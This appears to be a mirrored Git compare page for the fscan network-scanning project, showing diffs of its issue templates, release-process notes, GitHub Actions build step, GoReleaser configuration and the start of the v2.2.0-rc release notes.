mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
72042111c6 | ||
|
|
08a87b3128 | ||
|
|
cc1af631f0 | ||
|
|
5078fbc975 | ||
|
|
354ad2e24b | ||
|
|
942f0fa6c3 | ||
|
|
37b77f9c86 | ||
|
|
a02eed0518 | ||
|
|
019d13c9d4 | ||
|
|
c43982f834 | ||
|
|
d6d323854a | ||
|
|
569d21a8bc | ||
|
|
8ec96bfe6d | ||
|
|
8b558b4f12 | ||
|
|
3e4e2db722 | ||
|
|
ac755a9b4a | ||
|
|
ea17b5b1bc | ||
|
|
bfc0e0fb52 | ||
|
|
40b0eee654 | ||
|
|
8d30ee334c | ||
|
|
73cbe803c4 | ||
|
|
9ed6cc95b6 | ||
|
|
a0f0379c6c | ||
|
|
3c7823355d | ||
|
|
1a714f6a0c | ||
|
|
0046817c2e | ||
|
|
e0080555b4 | ||
|
|
bc2a8f653a | ||
|
|
a92df59dfe | ||
|
|
0a28db7371 | ||
|
|
778ba019d5 | ||
|
|
f43e3e3d0a | ||
|
|
a1588a321f | ||
|
|
eb4fa38fea | ||
|
|
c15aa3488b | ||
|
|
218811c38d | ||
|
|
5a884ca6ad | ||
|
|
5942d3bbcb | ||
|
|
c0a9cfd8f5 | ||
|
|
c16aa04e28 | ||
|
|
856eeccd78 | ||
|
|
13f7997d16 | ||
|
|
adb3ac5b74 | ||
|
|
8de7570268 | ||
|
|
3dde0c6a8e | ||
|
|
d4ed0867c9 | ||
|
|
6605c93dd9 | ||
|
|
6bfa05cb45 | ||
|
|
bce0a718ea | ||
|
|
40c3f1423e | ||
|
|
bfd64f78ed | ||
|
|
7063027acf | ||
|
|
639298b7c8 | ||
|
|
f427f04d35 | ||
|
|
05e383d8bf | ||
|
|
a560531e70 | ||
|
|
77827bef66 | ||
|
|
c266912dcb | ||
|
|
2f2b30763c | ||
|
|
72403ebb32 | ||
|
|
4fa8fdc30e | ||
|
|
bf210dd94d | ||
|
|
cb1079598d | ||
|
|
ec10097e76 | ||
|
|
231563e82b | ||
|
|
5af8682d22 | ||
|
|
a42f074b00 | ||
|
|
1ebcd6dc79 | ||
|
|
150e48ba85 | ||
|
|
76a4331fae | ||
|
|
ca4e1ffad3 | ||
|
|
a0fc7881f2 | ||
|
|
bc28df2ed1 | ||
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
73b0b0b822 | ||
|
|
d412786228 | ||
|
|
b2e91d9fc0 | ||
|
|
3436d6ad02 | ||
|
|
a0f323a891 | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 | ||
|
|
db0b53b139 | ||
|
|
4c58843033 | ||
|
|
760c8ea502 | ||
|
|
594f567650 | ||
|
|
6b13b2e84f |
@@ -0,0 +1,2 @@
|
||||
# 统一换行符为 LF
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1,123 @@
|
||||
name: 🐛 Bug 报告
|
||||
description: 报告扫描异常、崩溃或错误行为
|
||||
title: "[Bug] "
|
||||
labels: ["bug"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
|
||||
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
|
||||
|
||||
- type: dropdown
|
||||
id: module
|
||||
attributes:
|
||||
label: 问题模块
|
||||
description: 问题出现在哪个功能模块?
|
||||
options:
|
||||
- 端口扫描 (Port Scan)
|
||||
- 主机存活检测 (Host Discovery)
|
||||
- 服务识别 (Service Detection)
|
||||
- 弱口令爆破 (Brute Force)
|
||||
- POC/漏洞扫描 (POC Scan)
|
||||
- Web指纹识别 (Web Fingerprint)
|
||||
- 代理功能 (Proxy)
|
||||
- 输出/日志 (Output/Logging)
|
||||
- 命令行参数 (CLI Arguments)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: severity
|
||||
attributes:
|
||||
label: 严重程度
|
||||
options:
|
||||
- 崩溃/Panic (Crash)
|
||||
- 功能异常 (Malfunction)
|
||||
- 结果不准确 (Inaccurate)
|
||||
- 性能问题 (Performance)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 问题描述
|
||||
description: 清晰描述遇到的问题,包括预期行为和实际行为
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reproduce
|
||||
attributes:
|
||||
label: 复现步骤
|
||||
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: output
|
||||
attributes:
|
||||
label: 错误输出
|
||||
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
|
||||
render: shell
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0-rc (dev)
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: 操作系统
|
||||
options:
|
||||
- Windows 11
|
||||
- Windows 10
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Ubuntu 24.04
|
||||
- Ubuntu 22.04
|
||||
- CentOS 7/8/Stream
|
||||
- Debian 11/12
|
||||
- Kali Linux
|
||||
- macOS 15 (Sequoia)
|
||||
- macOS 14 (Sonoma)
|
||||
- 其他 Linux
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: arch
|
||||
attributes:
|
||||
label: 系统架构
|
||||
options:
|
||||
- amd64 (x86_64)
|
||||
- arm64 (aarch64)
|
||||
- 386 (x86)
|
||||
- arm
|
||||
- mips/mipsle
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: 补充信息
|
||||
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
|
||||
@@ -0,0 +1,10 @@
|
||||
# Issue 模板配置
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: 📖 使用文档 / README
|
||||
url: https://github.com/shadow1ng/fscan/blob/main/README.md
|
||||
about: 提交 Issue 前请先查阅文档,确认不是用法问题
|
||||
- name: 💬 讨论区 / Discussions
|
||||
url: https://github.com/shadow1ng/fscan/discussions
|
||||
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
|
||||
@@ -0,0 +1,111 @@
|
||||
name: 🎯 误报/漏报
|
||||
description: 报告扫描结果不准确的问题
|
||||
title: "[Accuracy] "
|
||||
labels: ["accuracy"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您帮助提高 fscan 的准确性!
|
||||
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 问题类型
|
||||
options:
|
||||
- 误报 (False Positive) - 报告了不存在的问题
|
||||
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 涉及功能
|
||||
options:
|
||||
- 主机存活检测
|
||||
- 端口状态判断
|
||||
- 服务识别
|
||||
- 弱口令检测
|
||||
- POC/漏洞检测
|
||||
- Web指纹识别
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: command
|
||||
attributes:
|
||||
label: 使用的命令
|
||||
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: fscan-output
|
||||
attributes:
|
||||
label: fscan 输出结果
|
||||
description: 粘贴相关的扫描输出(请脱敏敏感信息)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: actual
|
||||
attributes:
|
||||
label: 实际情况及验证方式
|
||||
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: target-os
|
||||
attributes:
|
||||
label: 目标操作系统
|
||||
options:
|
||||
- Windows Server
|
||||
- Windows Desktop
|
||||
- Ubuntu/Debian
|
||||
- CentOS/RHEL
|
||||
- 其他 Linux
|
||||
- 网络设备
|
||||
- 容器/Docker
|
||||
- 未知
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: network
|
||||
attributes:
|
||||
label: 网络环境
|
||||
options:
|
||||
- 直连(同网段)
|
||||
- 跨网段/路由
|
||||
- 通过代理 (SOCKS5/HTTP)
|
||||
- VPN
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0-rc (dev)
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: suggestion
|
||||
attributes:
|
||||
label: 改进建议(可选)
|
||||
description: 如果您有改进判断逻辑的想法
|
||||
@@ -0,0 +1,68 @@
|
||||
name: ✨ 功能请求
|
||||
description: 提议新功能或改进现有功能
|
||||
title: "[Feature] "
|
||||
labels: ["enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的功能建议!请描述清楚使用场景和期望行为。
|
||||
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 功能类别
|
||||
options:
|
||||
- 新扫描能力 (New Scan Capability)
|
||||
- 性能优化 (Performance)
|
||||
- 用户体验 (UX/CLI)
|
||||
- 输出格式 (Output Format)
|
||||
- 配置选项 (Configuration)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 集成/API (Integration/API)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: 解决什么问题?
|
||||
description: 描述您的实际使用场景和痛点
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: solution
|
||||
attributes:
|
||||
label: 期望的解决方案
|
||||
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: 替代方案(可选)
|
||||
description: 您目前的变通方法,或考虑过的其他方案
|
||||
|
||||
- type: dropdown
|
||||
id: priority
|
||||
attributes:
|
||||
label: 优先级建议
|
||||
description: 您认为这个功能的重要程度
|
||||
options:
|
||||
- 高 - 核心场景缺失,严重影响使用
|
||||
- 中 - 明显改善体验
|
||||
- 低 - 锦上添花
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个功能并提交 PR
|
||||
@@ -0,0 +1,71 @@
|
||||
name: 🔌 新插件/协议支持
|
||||
description: 请求支持新的服务、协议或漏洞检测
|
||||
title: "[Plugin] "
|
||||
labels: ["plugin", "enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 请求类型
|
||||
options:
|
||||
- 新服务/协议支持 (New Service)
|
||||
- 新弱口令检测 (New Brute Force)
|
||||
- 新漏洞 POC (New POC)
|
||||
- 新指纹识别 (New Fingerprint)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: service
|
||||
attributes:
|
||||
label: 服务/协议名称
|
||||
description: 例如 ClickHouse、etcd、Consul、Zookeeper
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: port
|
||||
attributes:
|
||||
label: 默认端口
|
||||
description: 例如 9000、2379、8500
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 服务描述与检测思路
|
||||
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reference
|
||||
attributes:
|
||||
label: 参考资料(可选)
|
||||
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
|
||||
|
||||
- type: dropdown
|
||||
id: prevalence
|
||||
attributes:
|
||||
label: 内网常见程度
|
||||
options:
|
||||
- 非常常见(企业环境标配)
|
||||
- 较为常见(经常遇到)
|
||||
- 偶尔遇到
|
||||
- 较少见但高价值
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个插件并提交 PR
|
||||
- label: 我可以提供测试环境
|
||||
@@ -0,0 +1,64 @@
|
||||
# 发版流程
|
||||
|
||||
## 预检查
|
||||
|
||||
```bash
|
||||
# 1. 确认 CI 通过
|
||||
gh run list --branch dev --limit 3
|
||||
|
||||
# 2. 全平台 dry-run(手动触发 snapshot 模式)
|
||||
gh workflow run release.yml -f snapshot=true
|
||||
|
||||
# 3. 确认版本号一致
|
||||
grep "version" common/globals.go
|
||||
grep "版本" README.md
|
||||
```
|
||||
|
||||
## 发版
|
||||
|
||||
```bash
|
||||
# 1. 确认 release notes 已就绪
|
||||
cat .github/release-notes/v<VERSION>.md
|
||||
|
||||
# 2. 打 tag(在 dev 分支打 RC,在 main 分支打正式版)
|
||||
git tag v<VERSION>
|
||||
git push origin v<VERSION>
|
||||
|
||||
# CI 自动执行:
|
||||
# - goreleaser 全平台构建 + UPX 压缩
|
||||
# - 创建 GitHub Release(RC 自动标记 pre-release)
|
||||
# - 用 .github/release-notes/ 下的文件覆盖 release body
|
||||
```
|
||||
|
||||
## 版本号规范
|
||||
|
||||
| 场景 | 格式 | 分支 | 示例 |
|
||||
|------|------|------|------|
|
||||
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
|
||||
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
|
||||
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
|
||||
|
||||
## Release Notes 模板
|
||||
|
||||
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`。
|
||||
|
||||
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
|
||||
|
||||
## 正式版发布(RC → 正式)
|
||||
|
||||
```bash
|
||||
# 1. 合并 dev 到 main
|
||||
git checkout main
|
||||
git merge dev
|
||||
git push
|
||||
|
||||
# 2. 更新版本号去掉 -rc
|
||||
# common/globals.go, README.md, README_EN.md
|
||||
|
||||
# 3. 准备正式版 release notes
|
||||
# .github/release-notes/v2.2.0.md
|
||||
|
||||
# 4. 打 tag
|
||||
git tag v2.2.0
|
||||
git push origin v2.2.0
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
name: '构建和发布'
|
||||
description: 'fscan 可复用构建动作'
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: '构建模式: release 或 snapshot'
|
||||
required: true
|
||||
default: 'snapshot'
|
||||
go-version:
|
||||
description: 'Go 版本'
|
||||
required: false
|
||||
default: '1.20'
|
||||
retention-days:
|
||||
description: '产物保留天数'
|
||||
required: false
|
||||
default: '7'
|
||||
release-args:
|
||||
description: '额外的 goreleaser 参数'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
runs:
|
||||
using: 'composite'
|
||||
steps:
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: true
|
||||
|
||||
|
||||
- name: 下载依赖
|
||||
shell: bash
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 安装 UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: 使用 GoReleaser 构建
|
||||
uses: goreleaser/goreleaser-action@v6
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
|
||||
- name: 上传产物
|
||||
uses: actions/upload-artifact@v4
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
if: always()
|
||||
with:
|
||||
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||
path: dist/
|
||||
retention-days: ${{ inputs.retention-days }}
|
||||
|
||||
- name: 生成报告
|
||||
shell: bash
|
||||
if: always()
|
||||
run: |
|
||||
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||
# 构建报告
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 模式 | \`${{ inputs.mode }}\` |
|
||||
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||
| Go | \`$(go version | awk '{print $3}')\` |
|
||||
|
||||
## 构建产物
|
||||
|
||||
$(if [ -d "dist" ]; then
|
||||
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||
EOF
|
||||
+177
-58
@@ -1,85 +1,200 @@
|
||||
# 项目名称 - 直接使用环境变量
|
||||
project_name: "{{ .Env.PROJECT_NAME }}"
|
||||
project_name: "fscan"
|
||||
|
||||
# 构建前钩子
|
||||
before:
|
||||
hooks:
|
||||
- go mod tidy
|
||||
- go mod download
|
||||
|
||||
# 构建配置
|
||||
builds:
|
||||
- id: default
|
||||
binary: "{{ .ProjectName }}"
|
||||
# 标准版 - 全部插件(全架构)
|
||||
- id: fscan
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos:
|
||||
- windows
|
||||
- linux
|
||||
- darwin
|
||||
goarch:
|
||||
- amd64
|
||||
- arm64
|
||||
- "386"
|
||||
goarm:
|
||||
- "7"
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# 无本地插件版 - 排除本地模块(全架构)
|
||||
- id: fscan-nolocal
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
tags: [no_local]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# WebUI版 - 主流平台即可
|
||||
- id: fscan-web
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, arm64, "386"]
|
||||
goarm: ["7"]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
flags:
|
||||
- -trimpath
|
||||
ldflags:
|
||||
- -s -w
|
||||
- -X main.version={{ .Version }}
|
||||
- -X main.commit={{ .ShortCommit }}
|
||||
- -X main.date={{ .Date }}
|
||||
- -X main.builtBy=goreleaser
|
||||
flags: [-trimpath]
|
||||
tags: [web]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# UPX 压缩
|
||||
upx:
|
||||
- ids: [default]
|
||||
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||
enabled: true
|
||||
goos: ["windows", "linux"]
|
||||
goarch: ["amd64", "386"]
|
||||
goos: [windows, linux, freebsd]
|
||||
goarch: [amd64, "386", arm, arm64, mips, mipsle]
|
||||
compress: best
|
||||
brute: false
|
||||
lzma: false
|
||||
|
||||
# 归档配置
|
||||
archives:
|
||||
- id: default
|
||||
# 标准版归档
|
||||
- id: fscan
|
||||
builds: [fscan]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
{{ .ProjectName }}_{{ .Version }}_
|
||||
fscan_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# 无本地插件版归档
|
||||
- id: fscan-nolocal
|
||||
builds: [fscan-nolocal]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-nolocal_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# WebUI版归档
|
||||
- id: fscan-web
|
||||
builds: [fscan-web]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-web_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
{{- if eq .Os "windows" }}.exe{{ end }}
|
||||
|
||||
# 校验和
|
||||
checksum:
|
||||
name_template: 'checksums.txt'
|
||||
algorithm: sha256
|
||||
|
||||
# 变更日志
|
||||
changelog:
|
||||
sort: asc
|
||||
use: github
|
||||
filters:
|
||||
exclude:
|
||||
- "^docs:"
|
||||
- "^test:"
|
||||
- "^ci:"
|
||||
- "^chore:"
|
||||
- "Merge pull request"
|
||||
- "Merge branch"
|
||||
- "^(docs|test|ci|chore):"
|
||||
- "Merge (pull request|branch)"
|
||||
groups:
|
||||
- title: "🚀 新功能"
|
||||
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||
@@ -87,13 +202,9 @@ changelog:
|
||||
- title: "🐛 问题修复"
|
||||
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||
order: 1
|
||||
- title: "📚 文档更新"
|
||||
regexp: "^.*docs[(\\w)]*:+.*$"
|
||||
order: 2
|
||||
- title: "🔧 其他改进"
|
||||
order: 999
|
||||
|
||||
# 发布配置
|
||||
release:
|
||||
github:
|
||||
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||
@@ -102,24 +213,32 @@ release:
|
||||
prerelease: auto
|
||||
mode: replace
|
||||
header: |
|
||||
## 🎉 {{ .ProjectName }} {{ .Tag }} 发布说明
|
||||
|
||||
感谢使用 {{ .ProjectName }}!本次发布包含以下改进:
|
||||
## {{ .ProjectName }} {{ .Tag }}
|
||||
|
||||
感谢使用 {{ .ProjectName }}!
|
||||
|
||||
### 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||
|
||||
### 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||
| Solaris | x64 |
|
||||
footer: |
|
||||
## 📥 安装说明
|
||||
|
||||
下载对应平台的二进制文件即可使用。
|
||||
|
||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||
|
||||
---
|
||||
|
||||
如有问题请提交 [Issue](https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/issues) 💬
|
||||
|
||||
# 快照版本
|
||||
snapshot:
|
||||
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||
|
||||
# 元数据
|
||||
metadata:
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
# fscan v2.2.0-rc
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.1.3 的主要变更
|
||||
|
||||
### 🏗️ 架构升级:嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
|
||||
|
||||
- 支持从其他 Go 程序直接调用 fscan 扫描能力
|
||||
- 每个 Scanner 实例拥有独立的 config/state/session
|
||||
- 支持多实例并发扫描,日志和结果完全隔离
|
||||
- 全局状态已完整迁移到 session 实例
|
